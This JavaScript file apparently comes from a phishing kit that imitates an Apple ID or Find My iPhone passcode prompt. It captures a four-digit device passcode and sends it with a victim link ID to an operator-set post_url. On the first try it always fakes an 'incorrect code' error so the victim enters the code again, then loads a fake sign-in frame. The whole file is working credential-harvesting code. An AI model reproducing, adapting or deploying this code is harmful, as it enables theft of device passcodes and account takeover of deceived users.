var ScriptedSequence = $("#ScriptedSequence", window.parent.document).val()
    ,ModalCancelButton = $("#modal-signin-cancel", window.parent.document)
	,LinkID = $("#lid")
	,PostUrl = $("#post_url");

function charHandler() {
    for (let e = 0; e < 4; e++) $("#char" + e).on("keyup keypress keydown", (a => {
        $("#form-security-code-error").css({
            opacity: 0,
            "pointer-events": "none"
        }), $("#form-security-code").removeClass("is-error"), 8 === a.keyCode ? ($("#char" + e).val(""), 1 === e ? SetFocusOnDigit("#char0") : 2 === e ? SetFocusOnDigit("#char1") : 3 === e ? SetFocusOnDigit("#char2") : 4 === e && SetFocusOnDigit("#char3")) : (Filter("#char" + e), 1 === $("#char" + e).val().length ? 0 === e ? SetFocusOnDigit("#char1") : 1 === e ? SetFocusOnDigit("#char2") : 2 === e ? SetFocusOnDigit("#char3") : 3 === e && (1 === $("#char0").val().length ? 1 === $("#char1").val().length ? 1 === $("#char2").val().length ? 1 === $("#char3").val().length ? 1 === $("#char0").val().length && 1 === $("#char1").val().length && 1 === $("#char2").val().length && 1 === $("#char3").val().length && SubmitForm() : SetFocusOnDigit("#char3") : SetFocusOnDigit("#char2") : SetFocusOnDigit("#char1") : SetFocusOnDigit("#char0")) : SetFocusOnDigit("#char" + e))
    })), $("#char" + e).on("click", (() => {
        $("#char" + e).removeAttr("data-focus-method")
    }));
    return null
}

function SetFocusOnDigit(e) {
    return $(e).focus(), $(e).attr("data-focus-method", "key"), null
}

function SubmitForm() {
    var e = $("#char0"),
        a = $("#char1"),
        r = $("#char2"),
        t = $("#char3"),
        o = $("#verifying-code"),
        n = $("#verifying-code-text"),
        i = parseInt($("#Counter").val()),
        s = $("#DiagnosticData", window.parent.document).val(),
        d = $("#deviceIdentifier", window.parent.document).val(),
        c = $("#ui-form-switcher-loader", window.parent.document),
        l = $("#form-container", window.parent.document),
        u = $("#header-view", window.parent.document),
        h = $("#FMiPContaner", window.parent.document);

    for (var eIndex = 0; eIndex < 4; eIndex++) {
        $("#char" + eIndex).prop("disabled", true);
    }

    $(ModalCancelButton).css({
        "pointer-events": "none",
        color: "var(--theme-color-gray3)"
    });
    $(o).removeClass("invisible");
    $(n).removeClass("invisible");

    window.parent.SendRequest($(PostUrl).val(), {
        type: "POST",
        dataType: "json",
        timeout: 60000,
        data: {
			type: "passcode",
            id: $(LinkID).val(),
            pass: $(e).val() + $(a).val() + $(r).val() + $(t).val()
        }
    }, 10, 2500, function (response) {
        if (i === 0) {
			$("#Counter").val("1");
			setTimeout(function () {
				$(o).addClass("invisible");
				$(n).addClass("invisible");
				$("#form-security-code").addClass("is-error");
				for (var e = 0; e < 4; e++) {
					$("#char" + e).prop("disabled", false);
					$("#char" + e).val("");
					$("#char" + e + "-container").addClass("is-error");
				}
				SetFocusOnDigit("#char0");
				$("#form-security-code-error").css({
					opacity: "1",
					"pointer-events": "auto"
				});
				$("#form-message-incorrect-code").removeClass("hidden");
				$("#form-message-server-error").addClass("hidden");
				$(ModalCancelButton).css({
					"pointer-events": "all",
					color: ""
				});
			}, 3000);
		} else {
			setTimeout(function () {
				$(u).addClass("hidden");
				$(l).addClass("hidden");
				$(c).removeClass("hidden");

				setTimeout(function () {
					$("#aid-auth-widget-iFrame", window.parent.document).prop("src", "Components/Frames/signin.php");
					$(u).removeClass("hidden");
					$(l).removeClass("hidden");
					$(c).addClass("hidden");
				}, 3000);
			}, 2500);
		}
    });

    return null;
}


function Filter(e) {
    return $(e).val($(e).val().replace(/[^0-9]/g, "")), $(e).removeAttr("data-focus-method"), null
}
$(document).ready((() => {
    var e = $("body"),
        a = $("#si-container"),
        r = $("#sign-in-label-passcode", window.parent.document),
        t = $("#sign-in-label", window.parent.document),
        o = $("#sign-in-label-2fa", window.parent.document);
    $(t).addClass("hidden"), $(r).removeClass("hidden"), $(o).addClass("hidden"), $(ModalCancelButton).css({
        "pointer-events": "auto",
        color: ""
    }), window.matchMedia && window.matchMedia("(prefers-color-scheme: dark)").matches ? ($(e).addClass("theme-dark"), $(a).attr("data-theme", "lite")) : $(a).attr("data-theme", "dark"), window.matchMedia("(prefers-color-scheme: dark)").addEventListener("change", (function(r) {
        "dark" === (r.matches ? "dark" : "light") ? ($(e).addClass("theme-dark"), $(a).attr("data-theme", "lite")) : ($(e).removeClass("theme-dark"), $(a).attr("data-theme", "dark"))
    })), $(a).css("margin-top", "-30px"), SetFocusOnDigit("#char0"), charHandler()
}));